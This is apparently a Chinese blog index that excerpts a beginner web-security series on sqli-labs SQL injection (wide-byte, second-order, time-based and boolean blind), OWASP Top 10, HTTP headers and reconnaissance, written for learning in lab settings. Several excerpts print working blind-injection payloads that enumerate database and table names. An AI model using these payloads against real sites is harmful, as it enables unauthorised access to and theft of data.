网安入门08-Sql注入(报错注入&宽字节)
宽字节注入先了解一下什么是窄、宽字节
当某字符的大小为一个字节时,称其字符为窄字节.当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等
为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入
如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用几种安全查询函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 , ...
网安入门07-Sql注入(二次注入)
渗透测试简介黑盒测试:看不到后端代码,只能依靠前端页面显示来判断是否有注入点白盒测试:可以看到后端代码,进行代码审计分析注入点白+黑:既可以看到后端代码,也可以看到前端页面的回显实战中黑盒占80%,客户提供源码白盒占5%,通过漏洞挖出源代码白+黑15%
二次注入Less24试图进行常规注入触发过滤机制,页面回显如下(滚开,你个愚蠢的黑客)点击忘记密码:注册账号页面,先试一下admin用户不让我注册!那我先注册一个admin‘#用户,密码123然后登录admin’#改一手密码最后再用admin账号和刚改好的密码222,就登录成功啦!
原理查看源代码,最重要的三个页面:登录,注册,改密码其中login.php是登录页面,login_crearte.php是注册页面,pass_change.php是改密码页面
login.php:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152<html><head></head> ...
网安入门06-Sql注入(时间盲注&万能密码)
以第9关为例:无论输入任何参数,页面显示一样,没有两种状态可以判断,无法使用布尔盲注
时间盲注123456789101112131415161718?id=1' and if(1=1,sleep(5),1)--+判断参数构造。?id=1'and if(length((select database()))>9,sleep(5),1)--+判断数据库名长度 ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+逐一判断数据库字符?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+判断所有表名长度?id=1'and if(ascii(substr((select group_concat(table_name) from inform ...
网安入门00-OWASP Top 10 2021
OWASP(Open Web Application Security Project)翻译为“开放式Web应用程序安全项目”。它是一个非营利组织,致力于提高Web应用程序的安全性。OWASP提供了一系列资源,包括安全指南、工具和教程,帮助开发人员和安全专业人员提高Web应用程序的安全性。
OWASP Top 10是OWASP发布的一份针对Web应用程序的安全漏洞报告。该报告列出了Web应用程序中最常见和最危险的10种安全漏洞。OWASP Top 10可以帮助开发人员和安全专业人员识别和修复Web应用程序中的安全漏洞。
OWASP Top 10 2021源网址:OWASP Top 10 2021
排名
漏洞名称
简介
例子
A01
权限控制失效(Broken Access Control)
Web应用程序无法正确控制用户对资源的访问。这可能导致攻击者访问他们不应该能够访问的数据或功能。
一个Web应用程序允许用户上传文件。攻击者可以上传一个恶意脚本文件,该文件将在用户访问该文件时执行。
A02
加密机制失效(Cryptographic Failures)
Web应用程序 ...
网安入门05-Sql注入(布尔盲注&SqlMap)
盲注 页面不提供查询成功的结果,没有显示位,以第5关为例:
布尔盲注123456789101112131415161718192021222324252627猜测数据库?id=1' and length(database())=8-- -id=1' and left(database(),1)>'a' -- - 1id=1' and left(database(),1)>'z' -- - 0在 a-z 之间id=1' and left(database(),1)>'r' -- -1id=1' and left(database(),1)>'s' -- -0id=1' and left(database(),2)>'sa'-- -猜测表id=1' and ascii(substr((select table_name from information_schema.tables wher ...
网安入门04-Sql注入(联合查询注入)
什么是SQL注入————来自GPT-4SQL注入漏洞是一种常见的Web应用程序安全漏洞,它允许攻击者在应用程序的SQL查询中插入恶意代码。这种漏洞可能导致数据泄露、数据篡改、身份冒充和其他严重的安全问题。
SQL注入漏洞通常发生在应用程序未对用户输入进行充分验证和过滤的情况下。攻击者可以通过在输入字段中插入特殊字符和SQL代码,来操纵应用程序生成的SQL查询。这可能导致未经授权的数据访问、数据修改或执行恶意操作。
作为一名软件工程师,我们可以采取以下措施来防止SQL注入漏洞:
输入验证:对用户输入进行严格的验证,确保输入数据符合预期的格式和范围。拒绝包含特殊字符或SQL关键字的输入。
参数化查询:使用参数化查询(也称为预编译语句或绑定变量)来防止SQL注入。这种方法将用户输入与SQL查询分开处理,确保输入数据不会被解释为SQL代码。
使用存储过程:将数据库操作封装在存储过程中,以减少直接在应用程序中编写SQL查询的需求。存储过程可以帮助限制对数据库的访问权限,并提供更好的安全性。
最小权限原则:为应用程序数据库账户分配最小必要权限,以限制潜在的恶意操作。例如,如果应用程序只需要 ...
网安入门03——HTTP请求,编码
HTTP请求方法
状态码
HTTP头
X-Forwarded-For: 等价于Client-Ip X-Forwarded-For 请求头用于标识客户端的原始IP地址,特别是在通过代理服务器或负载均衡器等中间设备进行通信时。当请求从客户端传递到代理服务器时,代理服务器会将客户端的IP地址添加到X-Forwarded-For头中,以便目标服务器知道请求的来源。
Accept: Accept 请求头用于告知服务器客户端可以接受哪些媒体类型。这可以帮助服务器根据客户端的需求提供适当的内容。例如,客户端可以指定它可以接受的图像格式(如JPEG或PNG),服务器则可以根据此信息返回适当的图像。
Referer: Referer 请求头包含了发起请求的页面的URL。这有助于服务器了解请求是从哪个页面发起的,以便进行分析、记录或者实现特定的业务逻辑。例如,服务器可以根据Referer头来检查请求是否来自合法的来源,以防止跨站请求伪造(CSRF)攻击。
User-Agent:简称UA, User-Agent 请求头包含了关于发起请求的客户端(通常是浏览器)的信息,如浏览器名称、版本和操作系统。服务器 ...
网安入门02——信息收集
Whois查询站长之家
子域名查询在线子域名二级域名查询工具
Site:baidu.com
敏感目录/文件/CMS类型
CDN
旁站C段查询如果目标站是在无懈可击,那就可以尝试从同服务器部署的其他网站入手,拿下目标服务器的同时目标站也拿下了
同IP网站查询
端口开放信息服务和安全是相对应的,每开启一个端口,那么攻击面就大了一点,开启的端口越多,也就意味着服务器面临的威胁越大
端口扫描工具:nmap,御剑
GitHub查询可以在Github上查询网站的关键字或者路由,来看看有没有值得注意的信息。例如网站的源码和账号密码
谷歌hack语法
网安入门01——行业黑话
POC:证明一个漏洞真实存在,往往用于漏洞报告 Proof of Concept
EXP:漏洞的完整利用工具,演示攻击漏洞,详细说明如何攻击Exploit
VUL:泛指漏洞,Vulnerability
CVE:公共漏洞和暴露,Common Vulnerability & Exposures
0DAY:零日漏洞或零时差漏洞,通常是指还没有补丁的漏洞Zero-dayexploit
nDAY:进过一段时间的漏洞,已经有了补丁,可能只适用于攻击旧版本
payload:攻击载荷,也就是攻击语句,功能是建立与目标的连接
shellcode:利用漏洞时,执行的代码